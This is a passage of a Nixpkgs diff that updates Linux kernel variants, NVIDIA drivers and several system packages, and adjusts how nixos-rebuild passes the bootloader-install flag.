"sha256:0nn36b2cx04p2210xm0msa8c1jl96vp0nf0bq3w8xhrl95yzj99z" - }, - "6.5": { - "version": "6.5.13", - "hash": "sha256:1dfbbydmayfj9npx3z0g38p574pmcx3qgs49dv0npigl48wd9yvq" + "version": "6.8-rc7", + "hash": "sha256:0q9isgv6lxzrmb4idl0spxv2l7fsk3nn4cdq0vdw9c8lyzrh5yy0" }, "6.1": { - "version": "6.1.77", - "hash": "sha256:07grng6rrgpy6c3465hwqhn3gcdam1c8rwya30vgpk8nfxbfqm1v" + "version": "6.1.81", + "hash": "sha256:0arl96yrqplbmp2gjyqcfma1lgc30kbn95m0sflv0yyldwf8dg8f" }, "5.15": { - "version": "5.15.148", - "hash": "sha256:1n75lrck581mppx84cds1a1l5vj05cdkp8ahpry7dx6rgz4pb1f4" + "version": "5.15.151", + "hash": "sha256:0jby224ncdardjwmf8c59s5j71inpvdlzah984ilf2b6y85pc7la" }, "5.10": { - "version": "5.10.209", - "hash": "sha256:1mc8rssk5aypgb58jz6i2bbflfr6qh1kgqpam0k8fqvwcjnjzqj4" + "version": "5.10.212", + "hash": "sha256:14vll2bghd52wngjxy78hgglydcxka59yziji0w56dcdpmky9wqc" }, "5.4": { - "version": "5.4.268", - "hash": "sha256:081695lgkdwlrp6gpp6pyflgh76zax1w52shys4s9zjnrfkarj5g" + "version": "5.4.271", + "hash": "sha256:0l2qv4xlhnry9crs90rkihsxyny6jz8kxw08bfad7nys9hrn3g6d" }, "4.19": { - "version": "4.19.306", - "hash": "sha256:06dy270xw4frnrc9p2qjh8chgp02fr5ll5g2b0lx9xqzlq7y86xr" + "version": "4.19.309", + "hash": "sha256:1yc45kfiwdqsqa11sxafs82b0day6qvgjcll8rx9vipidsmagbcm" }, "6.6": { - "version": "6.6.16", - "hash": "sha256:0c5a9agdr27bwd1z6790whczb858z8i34hhn548lzbdylfamf7dj" + "version": "6.6.21", + "hash": "sha256:0mz420w99agr7jv1jgqfr4fjhzbv005xif086sqx556s900l62zf" }, "6.7": { - "version": "6.7.4", - "hash": "sha256:036nk3h7vqzd7gnxan2173kpss5qm2pci1lvd58gh90azigrz3gn" + "version": "6.7.9", + "hash": "sha256:0inkvyrvq60j9lxgivkivq3qh94lsfc1dpv6vwgxmy3q0zy37mqg" } } diff --git a/pkgs/os-specific/linux/kernel/linux-libre.nix b/pkgs/os-specific/linux/kernel/linux-libre.nix index e4716dfa6d96f..afdc6bb5fd01b 100644 --- a/pkgs/os-specific/linux/kernel/linux-libre.nix +++ b/pkgs/os-specific/linux/kernel/linux-libre.nix @@ -1,8 +1,8 @@ { stdenv, lib, fetchsvn, linux , scripts ? fetchsvn { url = "https://www.fsfla.org/svn/fsfla/software/linux-libre/releases/branches/"; - rev = "19489"; - sha256 = "1adnk4710iyq87bj48bfxzmzhv5hk0x3fmyz6ydk5af364fl87mk"; + rev = "19500"; + sha256 = "1xlicxwb1j5m4yjyw9ybyffmilzg7xh847jxfl4jy318vjpkmffr"; } , ... }: diff --git a/pkgs/os-specific/linux/kernel/linux-rpi.nix b/pkgs/os-specific/linux/kernel/linux-rpi.nix index ee65160454708..f1449998984be 100644 --- a/pkgs/os-specific/linux/kernel/linux-rpi.nix +++ b/pkgs/os-specific/linux/kernel/linux-rpi.nix @@ -1,4 +1,4 @@ -{ stdenv, lib, buildPackages, fetchFromGitHub, perl, buildLinux, rpiVersion, ... } @ args: +{ stdenv, lib, buildPackages, fetchFromGitHub, fetchpatch, perl, buildLinux, rpiVersion, ... } @ args: let # NOTE: raspberrypifw & raspberryPiWirelessFirmware should be updated with this @@ -27,6 +27,32 @@ lib.overrideDerivation (buildLinux (args // { efiBootStub = false; } // (args.features or {}); + kernelPatches = (args.kernelPatches or []) ++ [ + # Fix "WARNING: unmet direct dependencies detected for MFD_RP1", and + # subsequent build failure. + # https://github.com/NixOS/nixpkgs/pull/268280#issuecomment-1911839809 + # https://github.com/raspberrypi/linux/pull/5900 + { + name = "drm-rp1-depends-on-instead-of-select-MFD_RP1.patch"; + patch = fetchpatch { + url = "https://github.com/peat-psuwit/rpi-linux/commit/6de0bb51929cd3ad4fa27b2a421a2af12e6468f5.patch"; + hash = "sha256-9pHcbgWTiztu48SBaLPVroUnxnXMKeCGt5vEo9V8WGw="; + }; + } + + # Fix `ERROR: modpost: missing MODULE_LICENSE() in <...>/bcm2712-iommu.o` + # by preventing such code from being built as module. + # https://github.com/NixOS/nixpkgs/pull/284035#issuecomment-1913015802 + # https://github.com/raspberrypi/linux/pull/5910 + { + name = "iommu-bcm2712-don-t-allow-building-as-module.patch"; + patch = fetchpatch { + url = "https://github.com/peat-psuwit/rpi-linux/commit/693a5e69bddbcbe1d1b796ebc7581c3597685b1b.patch"; + hash = "sha256-8BYYQDM5By8cTk48ASYKJhGVQnZBIK4PXtV70UtfS+A="; + }; + } + ]; + extraMeta = if (rpiVersion < 3) then { platforms = with lib.platforms; arm; hydraPlatforms = []; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix index ed64b81efaecd..747d5aec77901 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "5.10.209-rt101"; # updated by ./update-rt.sh + version = "5.10.210-rt102"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -17,14 +17,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz"; - sha256 = "1mc8rssk5aypgb58jz6i2bbflfr6qh1kgqpam0k8fqvwcjnjzqj4"; + sha256 = "0vggj3a71awc1w803cdzrnkn88rxr7l1xh9mmdcw9hzxj1d3r9jf"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "19vlzjhh4m3fppd0y4m40nx2b7ncai1ya726dq1n9qlzzab6iq2a"; + sha256 = "1q4365ix990iw33a63cpn61qvgf8rkzf658xyi0hnr6292hlvajj"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix index ba2d5562bac46..189a211c8e488 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "5.15.145-rt73"; # updated by ./update-rt.sh + version = "5.15.148-rt74"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -18,14 +18,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz"; - sha256 = "086nssif66s86wkixz4yb7xilz1k49g32l0ib28r8fjzc23rv95j"; + sha256 = "1n75lrck581mppx84cds1a1l5vj05cdkp8ahpry7dx6rgz4pb1f4"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "0ddcbc1szgbb06wnp8bis7cg8idawj279867qa9kldqcws76l87p"; + sha256 = "0vbwqrkzigjfwmyxfbhq5n1g1qvyis949r97zqxhnmanq7c4njdk"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix index 50d2115d9e1f2..16a23b6b139c9 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "6.1.77-rt24"; # updated by ./update-rt.sh + version = "6.1.80-rt26"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -18,14 +18,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz"; - sha256 = "07grng6rrgpy6c3465hwqhn3gcdam1c8rwya30vgpk8nfxbfqm1v"; + sha256 = "0wdnyy7m9kfkl98id0gm6jzp4aa0hfy6gfkb4k4cg1wbpfpcm3jn"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "194fdr89020igfdcfwdrfrl3rn51aannadr5x4yhd7p4cma0iq0a"; + sha256 = "0w47ii5xhsbnkmgzlgg18ljwdms88scbzhqlw0qv3lnldicykg0p"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix new file mode 100644 index 0000000000000..514baa0ca5980 --- /dev/null +++ b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix @@ -0,0 +1,45 @@ +{ lib, buildLinux, fetchurl +, kernelPatches ? [ ] +, structuredExtraConfig ? {} +, extraMeta ? {} +, argsOverride ? {} +, ... } @ args: + +let + version = "6.6.20-rt25"; # updated by ./update-rt.sh + branch = lib.versions.majorMinor version; + kversion = builtins.elemAt (lib.splitString "-" version) 0; +in buildLinux (args // { + inherit version; + + # modDirVersion needs a patch number, change X.Y-rtZ to X.Y.0-rtZ. + modDirVersion = if (builtins.match "[^.]*[.][^.]*-.*" version) == null then version + else lib.replaceStrings ["-"] [".0-"] version; + + src = fetchurl { + url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz"; + sha256 = "08nxv2240d2ak6p2vsbjasnp7askamswby3h6cclhhihkgrwgxp2"; + }; + + kernelPatches = let rt-patch = { + name = "rt"; + patch = fetchurl { + url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; + sha256 = "1sfalbcfzzjmskxpix1850cypg4zixwzbd9rmpg37n8lclivn2gv"; + }; + }; in [ rt-patch ] ++ kernelPatches; + + structuredExtraConfig = with lib.kernel; { + PREEMPT_RT = yes; + # Fix error: unused option: PREEMPT_RT. + EXPERT = yes; # PREEMPT_RT depends on it (in kernel/Kconfig.preempt) + # Fix error: option not set correctly: PREEMPT_VOLUNTARY (wanted 'y', got 'n'). + PREEMPT_VOLUNTARY = lib.mkForce no; # PREEMPT_RT deselects it. + # Fix error: unused option: RT_GROUP_SCHED. + RT_GROUP_SCHED = lib.mkForce (option no); # Removed by sched-disable-rt-group-sched-on-rt.patch. + } // structuredExtraConfig; + + extraMeta = extraMeta // { + inherit branch; + }; +} // argsOverride) diff --git a/pkgs/os-specific/linux/kernel/perf/default.nix b/pkgs/os-specific/linux/kernel/perf/default.nix index ad8f2608d9361..172965f2a78f1 100644 --- a/pkgs/os-specific/linux/kernel/perf/default.nix +++ b/pkgs/os-specific/linux/kernel/perf/default.nix @@ -129,12 +129,17 @@ stdenv.mkDerivation { ++ lib.optional (lib.versionAtLeast kernel.version "5.8") libpfm ++ lib.optional (lib.versionAtLeast kernel.version "6.0") python3.pkgs.setuptools; - env.NIX_CFLAGS_COMPILE = toString [ + env.NIX_CFLAGS_COMPILE = toString ([ "-Wno-error=cpp" "-Wno-error=bool-compare" "-Wno-error=deprecated-declarations" "-Wno-error=stringop-truncation" - ]; + ] ++ lib.optionals (stdenv.cc.isGNU && lib.versions.major stdenv.cc.version == "13") [ + # Workaround gcc bug that causes enev simplest `perf top` runs to + # crash: https://gcc.gnu.org/PR111009. + # Can be removed once gcc-13 is updated past 13.2.0. + "-O1" + ]); doCheck = false; # requires "sparse" diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix index 3d4af98494a73..348a4c36adc46 100644 --- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix +++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix @@ -6,14 +6,14 @@ let # NOTE: When updating these, please also take a look at the changes done to # kernel config in the xanmod version commit ltsVariant = { - version = "6.1.76"; - hash = "sha256-0nBdUFRGMWM3IL/q8CYiDEUA/sIrYPMkzsBQen30o2E="; + version = "6.6.19"; + hash = "sha256-DfoClySWV0vlDDRAJsujGj5ypnGr+HsVbszCYfi+2V0="; variant = "lts"; }; mainVariant = { - version = "6.6.15"; - hash = "sha256-KHn4Ntm1QStgJRWzwmPYXEbEcuZcF4pWJ964wc6J2Wk="; + version = "6.7.7"; + hash = "sha256-Y+SvnvkFOGCxq+hGwpiiymNr1rYbNqppNA0d63TyUmo="; variant = "main"; }; @@ -33,9 +33,6 @@ let TCP_CONG_BBR = yes; DEFAULT_BBR = yes; - # WineSync driver for fast kernel-backed Wine - WINESYNC = module; - # Preemptive Full Tickless Kernel at 250Hz HZ = freeform "250"; HZ_250 = yes; diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix index 544a1639953c0..2994bf5064fe2 100644 --- a/pkgs/os-specific/linux/kernel/zen-kernels.nix +++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix @@ -4,16 +4,16 @@ let # comments with variant added for update script # ./update-zen.py zen zenVariant = { - version = "6.7.4"; #zen + version = "6.7.7"; #zen suffix = "zen1"; #zen - sha256 = "1vk2xfvqx4kplngw8n2c4xxqwxjyiij0dvbynm2y35nf04l6p9bx"; #zen + sha256 = "18h2ng7m70bwl8b80a26rhmnc4ivxcv4ppkn1fviz43x6j2h81mg"; #zen isLqx = false; }; # ./update-zen.py lqx lqxVariant = { - version = "6.7.4"; #lqx + version = "6.7.6"; #lqx suffix = "lqx1"; #lqx - sha256 = "1p8vgz3qsrpv1fbil2nkdlfzq4mfmjy9kvh264ckmwn4iay0kxmw"; #lqx + sha256 = "1z737ma2ak2yddc416svr5s2f7pl31v1cs2bknl9v6syl6xm9sxk"; #lqx isLqx = true; }; zenKernelsFor = { version, suffix, sha256, isLqx }: buildLinux (args // { diff --git a/pkgs/os-specific/linux/libselinux/default.nix b/pkgs/os-specific/linux/libselinux/default.nix index 62db42e13aa0b..b42bffdc057df 100644 --- a/pkgs/os-specific/linux/libselinux/default.nix +++ b/pkgs/os-specific/linux/libselinux/default.nix @@ -1,5 +1,6 @@ -{ lib, stdenv, fetchurl, fetchpatch, buildPackages, pcre, pkg-config, libsepol -, enablePython ? !stdenv.hostPlatform.isStatic, swig ? null, python3 ? null +{ lib, stdenv, fetchurl, fetchpatch, buildPackages, pcre2, pkg-config, libsepol +, enablePython ? !stdenv.hostPlatform.isStatic +, swig ? null, python3 ? null, python3Packages , fts }: @@ -9,14 +10,14 @@ with lib; stdenv.mkDerivation rec { pname = "libselinux"; - version = "3.3"; + version = "3.6"; inherit (libsepol) se_url; outputs = [ "bin" "out" "dev" "man" ] ++ optional enablePython "py"; src = fetchurl { url = "${se_url}/${version}/libselinux-${version}.tar.gz"; - sha256 = "0mvh793g7fg6wb6zqhkdyrv80x6k84ypqwi8ii89c91xcckyxzdc"; + hash = "sha256-uk4O80snDnZypeXxtSP+K+qzpAuzPZOJ9K06hyjyG1I="; }; patches = [ @@ -40,8 +41,13 @@ stdenv.mkDerivation rec { }) ]; - nativeBuildInputs = [ pkg-config python3 ] ++ optionals enablePython [ swig ]; - buildInputs = [ libsepol pcre fts ] ++ optionals enablePython [ python3 ]; + nativeBuildInputs = [ pkg-config python3 ] ++ optionals enablePython [ + python3Packages.pip + python3Packages.setuptools + python3Packages.wheel + swig + ]; + buildInputs = [ libsepol pcre2 fts ] ++ optionals enablePython [ python3 ]; # drop fortify here since package uses it by default, leading to compile error: # command-line>:0:0: error: "_FORTIFY_SOURCE" redefined [-Werror] @@ -68,6 +74,7 @@ stdenv.mkDerivation rec { ] ++ optionals enablePython [ "PYTHON=${python3.pythonOnBuildForHost.interpreter}" "PYTHONLIBDIR=$(py)/${python3.sitePackages}" + "PYTHON_SETUP_ARGS=--no-build-isolation" ]; postPatch = lib.optionalString stdenv.hostPlatform.isMusl '' diff --git a/pkgs/os-specific/linux/lvm2/common.nix b/pkgs/os-specific/linux/lvm2/common.nix index 97f1eb3a17719..caafa52a81738 100644 --- a/pkgs/os-specific/linux/lvm2/common.nix +++ b/pkgs/os-specific/linux/lvm2/common.nix @@ -156,6 +156,6 @@ stdenv.mkDerivation rec { description = "Tools to support Logical Volume Management (LVM) on Linux"; platforms = platforms.linux; license = with licenses; [ gpl2 bsd2 lgpl21 ]; - maintainers = with maintainers; [ raskin ] ++ teams.helsinki-systems.members; + maintainers = with maintainers; [ raskin ajs124 ] ++ teams.helsinki-systems.members; }; } diff --git a/pkgs/os-specific/linux/lxc/default.nix b/pkgs/os-specific/linux/lxc/default.nix index 6724651bbaf73..4026784f92a43 100644 --- a/pkgs/os-specific/linux/lxc/default.nix +++ b/pkgs/os-specific/linux/lxc/default.nix @@ -62,7 +62,10 @@ stdenv.mkDerivation rec { doCheck = true; passthru = { - tests.incus = nixosTests.incus.container; + tests = { + incus-old-init = nixosTests.incus.container-old-init; + incus-new-init = nixosTests.incus.container-new-init; + }; updateScript = nix-update-script { extraArgs = [ "-vr" diff --git a/pkgs/os-specific/linux/lxcfs/default.nix b/pkgs/os-specific/linux/lxcfs/default.nix index ee923786c2952..1388b5360f123 100644 --- a/pkgs/os-specific/linux/lxcfs/default.nix +++ b/pkgs/os-specific/linux/lxcfs/default.nix @@ -61,7 +61,8 @@ stdenv.mkDerivation rec { ''; passthru.tests = { - incus-container = nixosTests.incus.container; + incus-container-old-init = nixosTests.incus.container-old-init; + incus-container-new-init = nixosTests.incus.container-new-init; }; meta = { diff --git a/pkgs/os-specific/linux/mdevctl/default.nix b/pkgs/os-specific/linux/mdevctl/default.nix index 80c3c1316d85d..ce4ea250827b4 100644 --- a/pkgs/os-specific/linux/mdevctl/default.nix +++ b/pkgs/os-specific/linux/mdevctl/default.nix @@ -7,14 +7,14 @@ rustPlatform.buildRustPackage rec { pname = "mdevctl"; - version = "1.2.0"; + version = "1.3.0"; src = fetchCrate { inherit pname version; - hash = "sha256-0X/3DWNDPOgSNNTqcj44sd7DNGFt+uGBjkc876dSgU8="; + hash = "sha256-4K4NW3DOTtzZJ7Gg0mnRPr88YeqEjTtKX+C4P8i923E="; }; - cargoHash = "sha256-TmumQBWuH5fJOe2qzcDtEGbmCs2G9Gfl8mH7xifzRGc="; + cargoHash = "sha256-hCqNy32uPLsKfUJqiG2DRcXfqdvlp4bCutQmt+FieXc="; nativeBuildInputs = [ docutils diff --git a/pkgs/os-specific/linux/nixos-rebuild/nixos-rebuild.sh b/pkgs/os-specific/linux/nixos-rebuild/nixos-rebuild.sh index 2051368a49f64..1868f6b2af1bd 100755 --- a/pkgs/os-specific/linux/nixos-rebuild/nixos-rebuild.sh +++ b/pkgs/os-specific/linux/nixos-rebuild/nixos-rebuild.sh @@ -34,8 +34,7 @@ targetHost= remoteSudo= verboseScript= noFlake= -# comma separated list of vars to preserve when using sudo -preservedSudoVars=NIXOS_INSTALL_BOOTLOADER +installBootloader= json= # log the given argument to stderr @@ -57,10 +56,10 @@ while [ "$#" -gt 0 ]; do ;; --install-grub) log "$0: --install-grub deprecated, use --install-bootloader instead" - export NIXOS_INSTALL_BOOTLOADER=1 + installBootloader=1 ;; --install-bootloader) - export NIXOS_INSTALL_BOOTLOADER=1 + installBootloader=1 ;; --no-build-nix) buildNix= @@ -157,8 +156,6 @@ while [ "$#" -gt 0 ]; do esac done -sudoCommand=(sudo --preserve-env="$preservedSudoVars" --) - if [[ -n "$SUDO_USER" ]]; then useSudo=1 fi @@ -179,7 +176,7 @@ runCmd() { buildHostCmd() { local c if [[ "${useSudo:-x}" = 1 ]]; then - c=("${sudoCommand[@]}") + c=("sudo") else c=() fi @@ -196,7 +193,7 @@ buildHostCmd() { targetHostCmd() { local c if [[ "${useSudo:-x}" = 1 ]]; then - c=("${sudoCommand[@]}") + c=("sudo") else c=() fi @@ -756,7 +753,7 @@ if [[ "$action" = switch || "$action" = boot || "$action" = test || "$action" = cmd=( "systemd-run" "-E" "LOCALE_ARCHIVE" # Will be set to new value early in switch-to-configuration script, but interpreter starts out with old value - "-E" "NIXOS_INSTALL_BOOTLOADER" + "-E" "NIXOS_INSTALL_BOOTLOADER=$installBootloader" "--collect" "--no-ask-password" "--pty" @@ -774,14 +771,14 @@ if [[ "$action" = switch || "$action" = boot || "$action" = test || "$action" = # may be dangerous in remote access (e.g. SSH). if [[ -n "$NIXOS_SWITCH_USE_DIRTY_ENV" ]]; then log "warning: skipping systemd-run since NIXOS_SWITCH_USE_DIRTY_ENV is set. This environment variable will be ignored in the future" - cmd=() + cmd=("env" "NIXOS_INSTALL_BOOTLOADER=$installBootloader") elif ! targetHostSudoCmd "${cmd[@]}" true; then logVerbose "Skipping systemd-run to switch configuration since it is not working in target host." cmd=( "env" "-i" "LOCALE_ARCHIVE=$LOCALE_ARCHIVE" - "NIXOS_INSTALL_BOOTLOADER=$NIXOS_INSTALL_BOOTLOADER" + "NIXOS_INSTALL_BOOTLOADER=$installBootloader" ) else logVerbose "Using systemd-run to switch configuration." diff --git a/pkgs/os-specific/linux/numactl/default.nix b/pkgs/os-specific/linux/numactl/default.nix index a65d4ed041b41..16e2ae51f9572 100644 --- a/pkgs/os-specific/linux/numactl/default.nix +++ b/pkgs/os-specific/linux/numactl/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "numactl"; - version = "2.0.16"; + version = "2.0.18"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - sha256 = "sha256-aDKzkmvrPDzQl4n0KgeiU5LOLhQA0tmwzGiXvJDp7ZI="; + hash = "sha256-ry29RUNa0Hv5gIhy2RTVT94mHhgfdIwb5aqjBycxxj0="; }; outputs = [ "out" "dev" "man" ]; diff --git a/pkgs/os-specific/linux/nvidia-x11/default.nix b/pkgs/os-specific/linux/nvidia-x11/default.nix index de3248c2dd59c..132f46bf649dc 100644 --- a/pkgs/os-specific/linux/nvidia-x11/default.nix +++ b/pkgs/os-specific/linux/nvidia-x11/default.nix @@ -44,16 +44,12 @@ rec { }; latest = selectHighestVersion production (generic { - version = "545.29.06"; - sha256_64bit = "sha256-grxVZ2rdQ0FsFG5wxiTI3GrxbMBMcjhoDFajDgBFsXs="; - sha256_aarch64 = "sha256-o6ZSjM4gHcotFe+nhFTePPlXm0+RFf64dSIDt+RmeeQ="; - openSha256 = "sha256-h4CxaU7EYvBYVbbdjiixBhKf096LyatU6/V6CeY9NKE="; - settingsSha256 = "sha256-YBaKpRQWSdXG8Usev8s3GYHCPqL8PpJeF6gpa2droWY="; - persistencedSha256 = "sha256-AiYrrOgMagIixu3Ss2rePdoL24CKORFvzgZY3jlNbwM="; - - patches = [ rcu_patch ]; - - brokenOpen = kernel.kernelAtLeast "6.7"; + version = "550.54.14"; + sha256_64bit = "sha256-jEl/8c/HwxD7h1FJvDD6pP0m0iN7LLps0uiweAFXz+M="; + sha256_aarch64 = "sha256-sProBhYziFwk9rDAR2SbRiSaO7RMrf+/ZYryj4BkLB0="; + openSha256 = "sha256-F+9MWtpIQTF18F2CftCJxQ6WwpA8BVmRGEq3FhHLuYw="; + settingsSha256 = "sha256-m2rNASJp0i0Ez2OuqL+JpgEF0Yd8sYVCyrOoo/ln2a4="; + persistencedSha256 = "sha256-XaPN8jVTjdag9frLPgBtqvO/goB5zxeGzaTU0CdL6C4="; }); beta = selectHighestVersion latest (generic { @@ -70,16 +66,14 @@ rec { # Vulkan developer beta driver # See here for more information: https://developer.nvidia.com/vulkan-driver vulkan_beta = generic rec { - version = "535.43.25"; - persistencedVersion = "535.98"; - settingsVersion = "535.98"; - sha256_64bit = "sha256-Ir75rT1xs3Cycd1Wl7EqIUuU5bGfeSPYbGiq2Eqjlsw="; - openSha256 = "sha256-HnM4/sUKvZ8hGuwa0YSTAuC9HShw6on3+lk0TcqcPEQ="; - settingsSha256 = "sha256-jCRfeB1w6/dA27gaz6t5/Qo7On0zbAPIi74LYLel34s="; - persistencedSha256 = "sha256-WviDU6B50YG8dO64CGvU3xK8WFUX8nvvVYm/fuGyroM="; + version = "550.40.53"; + persistencedVersion = "550.54.14"; + settingsVersion = "550.54.14"; + sha256_64bit = "sha256-ZA5pb1xjzDyEBrf3UYHta4T9laCOCW7LHJwhcdjw6MA="; + openSha256 = "sha256-p4FL0j9Ev4SJ3YcjfhFLxbMbc77dBblkrTYK50+OYqA="; + settingsSha256 = "sha256-m2rNASJp0i0Ez2OuqL+JpgEF0Yd8sYVCyrOoo/ln2a4="; + persistencedSha256 = "sha256-XaPN8jVTjdag9frLPgBtqvO/goB5zxeGzaTU0CdL6C4="; url = "https://developer.nvidia.com/downloads/vulkan-beta-${lib.concatStrings (lib.splitVersion version)}-linux"; - - patches = [ rcu_patch ]; }; # data center driver compatible with current default cudaPackages @@ -99,11 +93,11 @@ rec { }; dc_535 = generic rec { - version = "535.129.03"; + version = "535.154.05"; url = "https://us.download.nvidia.com/tesla/${version}/NVIDIA-Linux-x86_64-${version}.run"; - sha256_64bit = "sha256-5tylYmomCMa7KgRs/LfBrzOLnpYafdkKwJu4oSb/AC4="; - persistencedSha256 = "sha256-FRMqY5uAJzq3o+YdM2Mdjj8Df6/cuUUAnh52Ne4koME="; - fabricmanagerSha256 = "sha256-5KRYS+JLVAhDkBn8Z7e0uJvULQy6dSpwnYsbBxw7Mxg="; + sha256_64bit = "sha256-fpUGXKprgt6SYRDxSCemGXLrEsIA6GOinp+0eGbqqJg="; + persistencedSha256 = "sha256-d0Q3Lk80JqkS1B54Mahu2yY/WocOqFFbZVBh+ToGhaE="; + fabricmanagerSha256 = "sha256-/HQfV7YA3MYVmre/sz897PF6tc6MaMiS/h7Q10m2p/o="; useSettings = false; usePersistenced = true; useFabricmanager = true; @@ -117,13 +111,11 @@ rec { # Last one supporting Kepler architecture legacy_470 = generic { - version = "470.223.02"; - sha256_64bit = "sha256-s2hi1TNsw+br6Ow6tPiFsYPaJY8d+x4FrkBrP2xNRPg="; - sha256_aarch64 = "sha256-CFkg2ARlGWqlFQKm8SlbwMH6eLidHKA/q5QGVOpPGuU="; - settingsSha256 = "sha256-r6DuIH/rnsCm/y51iRgPNi5/kz+EFMVABREdTjBneZ0="; - persistencedSha256 = "sha256-e71fpPBBv8S/aoeXxBXkzKy5bsMMbv8y024cSLc8DYc="; - - patches = [ rcu_patch ]; + version = "470.239.06"; + sha256_64bit = "sha256-fXTKrBQKBDLXnr6OQzDceW85un3UCz/NYd92AYG/nMw="; + sha256_aarch64 = "sha256-NZj8OLQ0N7y3V7UBamLyJE8AbI3alZJD1weNjnssuNs="; + settingsSha256 = "sha256-2YTk6DaoB8Qvob9/ohtHXuDhxGO9O/SUwlXXbLSgJP0="; + persistencedSha256 = "sha256-wLrkfD8MQ8sMODE+yEnWg/1ETxYVWOqNsIj1dY+5yjc="; }; # Last one supporting x86 diff --git a/pkgs/os-specific/linux/nvidia-x11/fabricmanager.nix b/pkgs/os-specific/linux/nvidia-x11/fabricmanager.nix index 11122d58ac80f..e70857ea356ed 100644 --- a/pkgs/os-specific/linux/nvidia-x11/fabricmanager.nix +++ b/pkgs/os-specific/linux/nvidia-x11/fabricmanager.nix @@ -18,12 +18,12 @@ stdenv.mkDerivation rec { }; installPhase = '' - find . mkdir -p $out/{bin,share/nvidia-fabricmanager} for bin in nv{-fabricmanager,switch-audit};do ${patchelf}/bin/patchelf \ --set-interpreter ${stdenv.cc.libc}/lib/ld-${bsys}.so.2 \ --set-rpath ${lib.makeLibraryPath [ stdenv.cc.libc ]} \ + --shrink-rpath \ bin/$bin done mv bin/nv{-fabricmanager,switch-audit} $out/bin/. diff --git a/pkgs/os-specific/linux/ocf-resource-agents/default.nix b/pkgs/os-specific/linux/ocf-resource-agents/default.nix index 11f094f72c9dc..0e63774526706 100644 --- a/pkgs/os-specific/linux/ocf-resource-agents/default.nix +++ b/pkgs/os-specific/linux/ocf-resource-agents/default.nix @@ -5,6 +5,7 @@ , runCommand , lndir , fetchFromGitHub +, fetchpatch , autoreconfHook , pkg-config , python3 @@ -32,6 +33,16 @@ let sha256 = "0haryi3yrszdfpqnkfnppxj1yiy6ipah6m80snvayc7v0ss0wnir"; }; + patches = [ + # autoconf-2.72 upstream fix: + # https://github.com/ClusterLabs/resource-agents/pull/1908 + (fetchpatch { + name = "autoconf-2.72.patch"; + url = "https://github.com/ClusterLabs/resource-agents/commit/bac658711a61fd704e792e2a0a45a2137213c442.patch"; + hash = "sha256-Xq7W8pMRmFZmkqb2430bY5zdmVTrUrob6GwGiN6/bKY="; + }) + ]; + nativeBuildInputs = [ autoreconfHook pkg-config diff --git a/pkgs/os-specific/linux/openvswitch/default.nix b/pkgs/os-specific/linux/openvswitch/default.nix index 89149027d3b8d..0ea5b6391605a 100644 --- a/pkgs/os-specific/linux/openvswitch/default.nix +++ b/pkgs/os-specific/linux/openvswitch/default.nix @@ -1,4 +1,4 @@ import ./generic.nix { - version = "3.2.2"; - hash = "sha256-BCesNAYE3RyxfBAzK2/6+PcV1W+1ZEZQKVSLSq/pWC8="; + version = "3.3.0"; + hash = "sha256-Gvy4H7lHwL6IWGaZXWwIjmHfQ1YRFXiSBqKzP3vBsF8="; } diff --git a/pkgs/os-specific/linux/policycoreutils/default.nix b/pkgs/os-specific/linux/policycoreutils/default.nix index 33875049747dd..5fdb3583b5cf4 100644 --- a/pkgs/os-specific/linux/policycoreutils/default.nix +++ 